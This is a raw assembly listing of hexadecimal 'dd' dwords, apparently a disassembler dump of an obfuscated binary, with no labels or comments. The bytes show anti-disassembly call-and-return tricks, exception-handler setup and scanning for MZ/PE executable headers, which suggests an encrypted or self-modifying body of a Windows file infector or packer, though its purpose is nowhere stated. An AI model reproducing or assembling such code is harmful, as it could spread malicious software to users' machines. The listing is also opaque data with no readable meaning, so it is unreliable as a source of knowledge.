		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0EEE1C356h, 0D2DB58Bh, 0E1830603h, 19850F01h
		dd 0E8000000h, 0Ah, 0B57158A3h,	5DC6B93Fh, 0F960F59Ch
		dd 166D8D89h, 5F610603h, 16998D8Bh, 6A0603h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B3DDBC3h
		dd 3004D9Dh, 758D3106h,	83060308h, 850F01E1h, 22h, 0E853006Ah
		dd 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 31C35343h, 14498D89h, 60610603h
		dd 2925958Bh, 0BA660603h, 0FEB9780Ch, 3FFFFFFh,	30A5D85h
		dd 118D2106h, 0F060331h, 682h, 119D8B00h, 2106030Eh, 322B58Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 68F7CD76h, 14911ABBh, 118D8BA2h,	6A060331h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 66EBC353h, 8CD936F4h, 1E183F5h, 2850Fh, 0C68B0000h
		dd 22B58D8Bh, 8D0F0603h, 6, 20BDBD8Bh, 0E1830603h, 22850F01h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0C824C353h, 8BBA0D85h,	0E86061D3h
		dd 0Fh,	20CF1E58h, 0ABB7E5F7h, 7760BE31h, 8BDE5354h, 31CFD95h
		dd 0FEB95E06h, 6AFFFFFFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0A7A3C353h,	210CF12Fh
		dd 68BA6642h, 798D210Ch, 81060322h, 79CEF0F6h, 2D8D2175h
		dd 6A06031Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 5695C355h, 0D25BD01h, 8D8B0603h
		dd 6032279h, 5A9858Bh, 8D890603h, 6032579h, 0F01E183h
		dd 685h, 3DBD8B00h, 8B060309h, 31D2D8Dh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0DB03B003h, 1C626023h, 1611858Bh, 0E1830603h, 850F01h
		dd 61000000h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 4B155321h, 0E05A83BAh, 16D985C7h
		dd 7D00603h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 7559F3C3h, 8108BAAEh, 6A613Ch, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0C5B171C3h, 9D6107EBh, 0E9h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0D3CE78BEh
		dd 0BE860h, 226D0000h, 97D33C40h, 0F9D8F285h, 799D8B92h
		dd 5F060305h, 6A61F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 899934C3h, 8B7867FEh, 32F859Dh
		dd 0B5BD8906h, 8B060326h, 104BEBC1h, 3C2F0E09h,	0DA4B1AC5h
		dd 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h, 34D129B3h
		dd 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh, 0C01100A6h, 0EA1A004Dh
		dd 0D5A3h, 199C0000h, 0FEC3h, 0FBFE41h,	41280000h, 7DD427E6h
		dd 80E9C372h, 8100000Ch, 0CE7F30E2h, 89BD837Ah,	6031Dh
		dd 3F850Fh, 0BF0F0000h,	0B8D6h,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 815474C3h
		dd 0D14FFAE7h, 9CFEBF19h, 4C2139Bh, 68F0F00h, 1000000h
		dd 32121BDh, 66C08B06h,	70C3CB81h, 0E880Fh, 9E90000h, 0C7000000h
		dd 0EEF1A1ABh, 0FF46B815h, 4E5BD83h, 75000603h,	39BD8309h
		dd 60323h, 53501374h, 0D0B8C08Bh, 8D000004h, 5B3939Dh
		dd 5BD3FF06h, 39BD8358h, 60323h, 53501174h, 4D0B8h, 0E09D8D00h
		dd 0FF0605B2h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F8A1C352h,	0B7D08B66h
		dd 8BC08B15h, 3193D95h,	9D858D06h, 8906071Dh, 32C499Dh
		dd 5A525006h, 0E8240489h, 11h, 48581497h, 295AA2A6h, 0E13E019Ch
		dd 0D2949F77h, 9995297Dh, 5A06030Fh, 1D5A858Dh,	0F58A0607h
		dd 0E8B0F90h, 50000000h, 0F5A5252h, 0F525031h, 5A585A31h
		dd 13E95058h, 1B000000h, 507625B6h, 95EB6459h, 66030DC4h
		dd 12372D5Ch, 89906658h, 3064DBDh, 7195FF06h, 6A060309h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 6051C353h, 0E8616CB4h, 12h, 0DF2D146Ah, 45BF53E3h
		dd 2B0A5781h, 0B5FE6754h, 0D98B0D16h, 24448B5Ah, 89D38B04h
		dd 71D8585h, 218D3306h,	6006031Ch, 0BE9F5h, 0F45E0000h
		dd 3793942Eh, 0A79A0028h, 448B61BCh, 0EE80824h,	0CE000000h
		dd 0CB8713F2h, 6D39A79Dh, 51E4950Bh, 0D9BD2395h, 5F060326h
		dd 1D998589h, 0BD8B0607h, 60322C9h, 194A82BBh, 25BD836Fh
		dd 6031Bh, 133850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0EF1BADC3h, 8957C9ABh
		dd 3058595h, 0EE95F06h,	0EE000000h, 36E745DDh, 49BE58FAh
		dd 0EE21804Ch, 0A185C645h, 4706031Bh, 8E9h, 9B07B100h
		dd 0F7367CFh, 4E8D9h, 0A7D20000h, 11E8D49Ah, 32000000h
		dd 3EAC1283h, 0A227D7E6h, 182295D1h, 2B911B7Fh,	1953BA66h
		dd 8B66505Fh, 24448BD6h, 0F88B6604h, 0BB66008Bh, 44894571h
		dd 0DD8A0424h, 53006A58h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0BD315466h, 60305F9h
		dd 25B1B529h, 0B5FF0603h, 6032471h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 9DC35646h, 858DF517h, 6067C58h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A2C35343h
		dd 3160F1C2h, 3037195h,	53C38106h, 615D9F24h, 0D0FFE88Ah
		dd 0FE8h, 61696100h, 59CFCD5Eh,	6AE916C9h, 17482FA8h, 26CD8529h
		dd 895A0603h, 31B2585h,	0F88B5606h, 89BD8359h, 6032Eh
		dd 10A850Fh, 0B5290000h, 603265Dh, 1BA185C6h, 0F8470603h
		dd 4E8h, 0FB5E200h, 0FDBB668Ah,	0BB665049h, 448BC9CFh
		dd 0CA8B0424h, 5250008Bh, 0E483FBBFh, 66310F74h, 5A7634BFh
		dd 24448958h, 2850F04h,	8B000000h, 0BF0F58CEh, 28E0FDFh
		dd 8B000000h, 71B5FFCFh, 6A060324h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8DE2C357h
		dd 67C5885h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 41A6F984h, 6AD0FF09h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0E6BAC356h
		dd 96BB666Bh, 11E96Ah, 0A9220000h, 0A13BD485h, 0CF98F0E1h
		dd 0E7F1D87Ah, 89234222h, 32E8985h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0CF6DB88h
		dd 0BDA0F35Ch, 9E9312Bh, 80000000h, 0C1860D99h,	88C8B1BAh
		dd 2415BD83h, 0F000603h, 9385h,	0FD958B00h, 8B060317h
		dd 32F919Dh, 0A185C606h, 5606031Bh, 2F61B501h, 0F9600603h
		dd 6840Fh, 9D8B0000h, 6031751h,	0B2936861h, 3481B643h
		dd 5CDFAA24h, 36C0BA62h, 0B5FF6C28h, 6032471h, 858D67B1h
		dd 6067C58h, 2265BD89h,	0D0FF0603h, 10E9h, 0C72A6F00h
		dd 86563701h, 7B48F304h, 0BACA461Dh, 158589ECh,	6A060324h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0F817C351h, 96DBD89h, 0C2810603h,	156F0FB0h
		dd 1BA185C6h, 6A6C0603h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 47EC356h, 68BABE2Bh
		dd 0BD22A1B9h, 3830Fh, 8B660000h, 243481F8h, 6627D13Ah
		dd 0AE9h, 0ED34CD00h, 0AE4AB809h, 0FF7212C1h, 302E1B5h
		dd 8D4BB306h, 338E085h,	0FE906h, 91230000h, 76575DE3h
		dd 0F458B092h, 3AC88370h, 66D0FFB4h, 898BBDBFh,	71D8985h
		dd 0AE906h, 0C5730000h,	0BEFB35EFh, 3C43DC0Ah, 0EE9046Ah
		dd 48000000h, 37CF7F1h,	0E8327B87h, 0D59978FFh,	0A3946843h
		dd 481C2F4h, 0B6C6C24h,	56006A3Dh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0D600149Fh, 4E81DD8h
		dd 0
		dd 60000100h, 0EE9h, 1E63CA00h,	87889760h, 0F7E537A6h
		dd 0E992F890h, 7, 1DBCB146h, 610BD591h,	0F525050h, 683h
		dd 0F525000h, 0F585A31h, 0BF666031h, 7E96F8Fh, 2000000h
		dd 0A881FC7Ch, 5A61AE0Ch, 24448B58h, 8BA1B604h,	0CF8B6600h
		dd 4244489h, 58CE8B66h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 61C35141h, 0F280C5B1h, 0FF006A3Eh, 323B995h
		dd 8BFC8A06h, 3235195h,	95858906h, 2306071Dh, 308658Dh
		dd 68006A06h, 0DAD30F66h, 0DE9h, 0FC102400h, 0E9BF0755h
		dd 0B6BBF471h, 4812B85h, 2DF09A24h, 0C1816625h,	66509266h
		dd 489CA8Bh, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 5EB11814h, 335958Bh, 0B6A0603h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0A0C35343h, 0EA81661Dh
		dd 95233B74h, 6032581h,	1D62858Dh, 8B660607h, 2DB950D8h
		dd 894D2D4Ch, 81532404h, 0E2C109EBh, 95FF5B07h,	6031B25h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F7C35040h
		dd 0CC362178h, 0CA311FD1h, 0F1958BABh, 8D060323h, 71D6CB5h
		dd 5ABA6606h, 7FBB9656h, 500619E7h, 685F33BBh, 6A9601h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0B95016C3h, 0BAE28166h, 525050EFh, 10E9h, 2925AB00h
		dd 7775915h, 3C8EB3B1h,	94EB05E1h, 0F310F1Eh, 89h, 89585A00h
		dd 95292404h, 60323F1h,	2E8995FFh, 0BD8B0603h, 603143Dh
		dd 0B589D0FFh, 6030BEDh, 1D95B58Bh, 0BA660607h,	0DCB39462h
		dd 1D8D85C7h, 607h, 8D8B0000h, 60307C5h, 207E80h, 2DA840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 93BD98C3h, 38A0Fh, 0B70F0000h, 816660DEh
		dd 8D5136D3h, 0B6572046h, 85895FF0h, 6071D91h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9C35343h, 91BE6660h
		dd 5E91Eh, 75090000h, 61324FDEh, 4DE9h,	55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0A50F6F16h, 0D75EEBB7h, 6A40F5h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0BF4DB9C3h
		dd 2A726C9Fh, 0BA664F6Ch, 38802F2Dh, 0CE850F00h, 89FFFFFFh
		dd 30829B5h, 48C0F06h, 66000000h, 0E93C5CBAh, 36h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0ABC35646h, 534AC79Dh
		dd 8B648DF4h, 31FBD9Dh,	0F5952906h, 48060322h, 21799D8Bh
		dd 38800603h, 2B840F5Ch, 0F000000h, 384h, 0F9B70F00h, 0F2F3880h
		dd 1984h, 61958B00h, 3B06032Eh,	71D9185h, 0CC830F06h, 66FFFFFFh
		dd 0B966D98Bh, 8B40D776h, 99BD83F8h, 6071Dh, 99840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 90BE46C3h, 0FE950h, 0BD140000h, 1B5F73B7h, 0A7FA7FB1h
		dd 0A0FCEDCh, 6A90F3h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0C255A9C3h, 2985BD89h, 0BD8B0603h
		dd 603161Dh, 1D998503h,	89600607h, 322F595h, 39B0B906h
		dd 0C6610665h, 0D18B0000h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 21EF7132h
		dd 50A08B83h, 453B966h,	23240489h, 32CED95h, 85B5FF06h
		dd 6A06071Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 9940C352h, 0DDEA9F4Dh,	0D52A9569h
		dd 1D8995FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 417002C3h, 753B4833h, 0C00BC358h
		dd 45850Fh, 0B70F0000h,	0BD8961D1h, 6030F05h, 1D8D85C7h
		dd 10607h, 8D8B0000h, 6030475h,	67E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0AFD03369h, 0D0F38CF1h, 6121E580h, 21099D8Bh, 0C6810603h
		dd 11Ch, 0C0E38166h, 0FD46E9AAh, 6AFFFFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 2F8E64C3h
		dd 0DB5F335Eh, 0BD33DA8Bh, 6032151h, 4E8h, 800000h, 50A0B600h
		dd 0A8C0Fh, 800F0000h, 4, 15ADBB66h, 424448Bh, 95FC27B9h
		dd 8A008B6Ah, 244489DEh, 0F525004h, 14E931h, 0EA040000h
		dd 3BF9A3B4h, 77D31C14h, 3F426651h, 2E0F126Ch, 585AD9BDh
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 3FEEFB05h, 2F98529h, 6A0603h, 0FFFA8B66h
		dd 71D95B5h, 598D8B06h,	8B060330h, 32EC595h, 1595FF06h
		dd 8B060324h, 71D8D85h,	12E906h, 93F30000h, 32C79564h
		dd 694DEBDCh, 0D8A93F25h, 68F7CD76h, 8E850h, 0BC410000h
		dd 0A859BC8Dh, 895B7174h, 95092404h, 60305E1h, 8DDEC980h
		dd 71D9D85h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 64196BF6h, 0E8A8ECABh, 7,	5272C4E4h
		dd 0F37B66Dh, 15AD2BFh,	32F0DBDh, 4EF3B906h, 66903881h
		dd 9050FA8Bh, 0DF0AEB81h, 0F514C9Eh, 688h, 0F59D8900h
		dd 5906030Ah, 1D5A858Dh, 6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0CA81E0C3h, 1D1F7F93h
		dd 0D09EBF50h, 489536Ah, 35950924h, 0FF060321h,	3255D95h
		dd 8B0DB306h, 459523C0h, 83060306h, 304E5BDh, 9750006h
		dd 2339BD83h, 74000603h, 8B535013h, 4D0B8C0h, 9D8D0000h
		dd 605B3FAh, 585BD3FFh,	2339BD83h, 74000603h, 0B8535011h
		dd 4D0h, 0B2F99D8Dh, 0D3FF0605h, 6A585Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0E4B291C3h
		dd 0B6B2DB84h, 8B660CEEh, 818D29D9h, 8B060325h,	50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0B0D381ADh, 585FDDF1h, 2E798D89h, 8C20603h, 0F5952B00h
		dd 8B060322h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 5DBA6675h, 0F1B53111h, 8D060318h
		dd 71DB085h, 0FFA8B06h,	683h, 158D8B00h, 89060303h, 3208985h
		dd 75E906h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 2E1B5FFh
		dd 858D0603h, 6067C58h,	8589D0FFh, 6033071h, 0EFC1FE8Bh
		dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 307195FFh, 32E90603h
		dd 0C6000000h, 31BA185h, 0DF685606h, 0FFA9C530h, 32471B5h
		dd 58858D06h, 0FF06067Ch, 0DD8589D0h, 8D060305h, 30B7185h
		dd 206A5006h, 0FF56056Ah, 305DD95h, 0C1C36106h,	0BA06E0h
		dd 81F008F0h, 0EAh, 14C283F0h, 20AD9589h, 0EA830603h, 8F858D14h
		dd 5006072Bh, 35FF64h, 64000000h, 2589h, 0E80000h, 58000000h
		dd 25C22Bh, 66FFFFF0h, 5A4D3881h, 12850Fh, 0B70F0000h
		dd 0D0033C50h, 45503A81h, 840F0000h, 0Ah, 10002Dh, 0FFD9E900h
		dd 0C88BFFFFh, 133D8589h, 40030603h, 50B70F3Ch,	0F1958906h
		dd 8B06031Ah, 95895050h, 6032535h, 0F805h, 0C508B00h, 9589D103h
		dd 6030FEDh, 89085003h,	3240995h, 58F6406h, 0
		dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0
		dd 59000010h, 83C3C033h, 32EBDBDh, 840F0006h, 24h, 1BA185C6h
		dd 68470603h, 0D49AA7D2h, 2471B5FFh, 858D0603h,	6067C58h
		dd 6AD0FFh, 8589D0FFh, 6031FEDh, 6A60D38Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FD0C352h
		dd 187h, 0C08BF900h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0E2C35343h, 0D6C5085Eh, 66EC52CBh, 5A17CE81h
		dd 4E5BD83h, 75000603h,	39BD8309h, 60323h, 53501974h, 38B8C08Bh
		dd 89000004h, 31A9D85h,	0BF9D8D06h, 0FF0605B5h,	83585BD3h
		dd 32339BDh, 17740006h,	38B85350h, 89000004h, 31A9D85h
		dd 0AE9D8D06h, 0FF0605B2h, 6A585BD3h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 4C1EC357h
		dd 8E7FE56Fh, 10E9A610h, 45000000h, 0B15967D5h,	0FBBE7A2Dh
		dd 3BEC2CA9h, 89522D59h, 32F6195h, 6AC08B06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 5359C351h, 9637C14Dh, 973E8F5h, 85290000h, 603063Dh
		dd 2D258589h, 0B5010603h, 6031B39h, 95CE8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 66DEE5ECh, 0E80447BEh, 0Ah, 0C57E557Dh, 4CD7550Ch, 8959BFF6h
		dd 31AB185h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 19C4E16Dh, 0FEE8474Fh, 0F5000008h
		dd 2F758589h, 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0C749FBC3h, 3C168276h, 0EDBD8960h
		dd 61060329h, 8C8E8h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 59F66EDEh, 68D0F92h, 81000000h
		dd 7EFAFBC7h, 4D85891Dh, 6A060325h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 8B1DC352h
		dd 8959572Ah, 317E9B5h,	0BDBD8906h, 0E8060314h,	865h, 2D5B50Bh
		dd 85890603h, 6032E6Dh,	0EA98589h, 6A0603h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E8BFC6C3h
		dd 831h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	55C35040h, 202857BFh, 860FD096h, 12h, 6E8h, 0D0D4FC00h
		dd 0FB376C6h, 8Bh, 85895E00h, 603217Dh,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 15h, 0E5C35747h, 7CFE811h
		dd 0BD890000h, 6032D29h, 17AD8589h, 0F600603h, 687h, 2D958900h
		dd 0F06032Ch, 18Fh, 0E861F900h,	7A9h, 0C698589h, 8B660603h
		dd 79BE8CAh, 33BE0000h,	0F681A4Eh, 882h, 8D8B5100h, 6030CE1h
		dd 0A9858959h, 8B06031Ch, 309118Dh, 777E806h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 5083B8C3h, 17658589h, 6A0603h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 628587C3h, 6C35964Fh
		dd 618D29C0h, 0E806031Ah, 725h,	858978B5h, 6032021h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B4C35646h, 0D512A2EEh
		dd 76430E8Eh, 8820F16h,	0F000000h, 28Fh, 8B616000h, 3162DB5h
		dd 6DFE806h, 6E90000h, 5C000000h, 101A5826h, 918589D2h
		dd 6A060323h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 663EC352h, 5D5AF681h, 6A8E8h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 7B96632h, 0C18589A2h, 6A06030Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 4090C355h, 5BB2FEDAh, 8B4AAFE3h, 14498589h, 52E80603h
		dd 6A000006h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 7EE5C356h, 11E9D5h, 95470000h
		dd 4CF16F78h, 0E2F58A48h, 367380EEh, 89944ADEh,	30BE185h
		dd 5D18106h, 0E86F9E7Dh, 60Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 4AC35646h, 0D9D8951h, 5E060313h
		dd 5758589h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0ED8568C3h, 33DA7E90h, 31855B5h
		dd 5B7E806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E9B30AC3h, 14h,	0B78CF5D4h, 0F0958F48h
		dd 3502C52Ch, 5B5FB330h, 3AB7BE9Eh, 1B51BD89h, 85890603h
		dd 6031B45h, 0B07FB1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 62C35747h, 6AD8B60Fh,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 91E6C356h
		dd 6BAF9C8h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 60F4C355h, 5A0EE70Dh
		dd 8B71490Dh, 3189D8Dh,	6AC38B06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 78A8C355h
		dd 85897E88h, 6030AD1h,	8904E8C1h, 325958Dh, 0E2F76606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A7C35141h
		dd 0E918C70Bh, 10h, 8B2FE106h, 18DEB9Ch, 794B82BDh, 0AEA51422h
		dd 14E952h, 0F7A50000h,	0BC41C3D0h, 0A859BC8Dh,	2C997174h
		dd 0FE784EBCh, 2B594AC0h, 56006AD8h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0A1B72BCBh
		dd 4A42B345h, 6093D440h, 0EE9h,	66F2D300h, 8834426Dh, 0DE519F9Ah
		dd 0E9FF0AF3h, 11h, 32A81717h, 0F1A05727h, 0DBBCC7DFh
		dd 450B3DCAh, 57506145h, 0BE8h,	13B1E700h, 0B365D24Ch
		dd 26CC7D62h, 5EF98B66h, 95899359h, 603246Dh, 0A995FFh
		dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 629A0DC3h, 0E8A6111Eh, 0Dh, 9C1FC6DBh, 0B40BC63Fh
		dd 0D4ED4122h, 0E5F7BF03h, 605E2C7Eh, 0BB18523h, 8D0F0603h
		dd 5, 0C2CDD6B8h, 6A5B613Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0BC1CC357h,	0E37FF0DEh
		dd 5E8h, 4C2A700h, 0B53164FFh, 6030A5Dh, 49958D5Fh, 6A060317h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 82FDC353h, 0A27D100Bh, 89CB72FFh,	52006A1Ah
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 8D294D2Bh, 0A6698C47h, 5E9h,	0A21FEC00h, 8D03D0D9h
		dd 60313BDh, 4289CA8Bh,	57006A04h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 8736EA7Eh, 959D89B4h
		dd 8D06032Ch, 3032595h,	891A8906h, 31A5595h, 0C38B6006h
		dd 2880Fh, 61600000h, 4428961h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 96C35141h, 2E9D958Dh, 0BD8B0603h
		dd 603223Dh, 2A618D89h,	1A890603h, 20F5B589h, 0FE80603h
		dd 50000000h, 0E439BC6Dh, 40B92185h, 0FDC1532Dh, 895FF07Bh
		dd 6A0442h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0E633B7C3h, 14E972h, 61E00000h, 5B3F87B7h
		dd 0B2B49B3Eh, 19DBC189h, 6AE2D934h, 958D1453h,	6030C85h
		dd 593342BEh, 6A1A8951h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 5B2EC355h, 0E8C1647Fh
		dd 8166E3A4h, 8936BFD7h, 6A0442h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 5802E6C3h, 6850FF6h
		dd 89000000h, 32DD59Dh,	0A5958D06h, 6A06030Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 3AD2C355h, 6E6FF76h,	0A958D8Bh, 1A890603h, 6850Fh, 0B58B0000h
		dd 60324E5h, 6A044289h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 9EFC351h, 8D8B512Ah
		dd 6031695h, 81CEB70Fh,	0C90696D6h, 8D958D50h, 6A060306h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0E25BC357h, 0BD013A64h, 60304BDh,	6A1A89h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0AC0BEC3h, 706A81AEh, 11E979h, 14820000h, 68258845h
		dd 4258BED9h, 0E5063731h, 8955F710h, 6A0442h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 870F2EC3h
		dd 5, 0DB0BE4B9h, 88B0F0Bh, 51000000h, 8F0Fh, 665E0000h
		dd 8D9120BEh, 304A995h,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8B561425h, 31D75B5h, 801A8906h
		dd 8D8BEEE1h, 6031719h,	6A044289h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0C0ECC357h
		dd 9589EA68h, 6030061h,	29F5958Dh, 6A0603h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0F65C21C3h
		dd 4F0E420Fh, 184D8D01h, 1A890603h, 9E9h, 73584500h, 0B318E0Eh
		dd 42898FD9h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0A9BFC778h, 0CA8B4758h, 3F25BF66h
		dd 0D4E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 7459C083h, 0B532F830h, 6A006A95h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 3D8EC351h, 3CA99A7h, 0E8B261F5h, 9, 8D4F48Ch
		dd 1BC4FB6Bh, 4DB523A4h, 5E060316h, 8166006Ah, 6AB629E6h
		dd 619D2900h, 6A06032Fh, 95FFFC00h, 603183Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 70C35242h, 0CFABA57Bh
